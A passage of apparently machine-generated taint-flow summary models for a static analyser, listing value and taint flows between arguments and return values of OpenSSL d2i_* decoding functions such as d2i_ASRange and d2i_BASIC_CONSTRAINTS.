"d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - 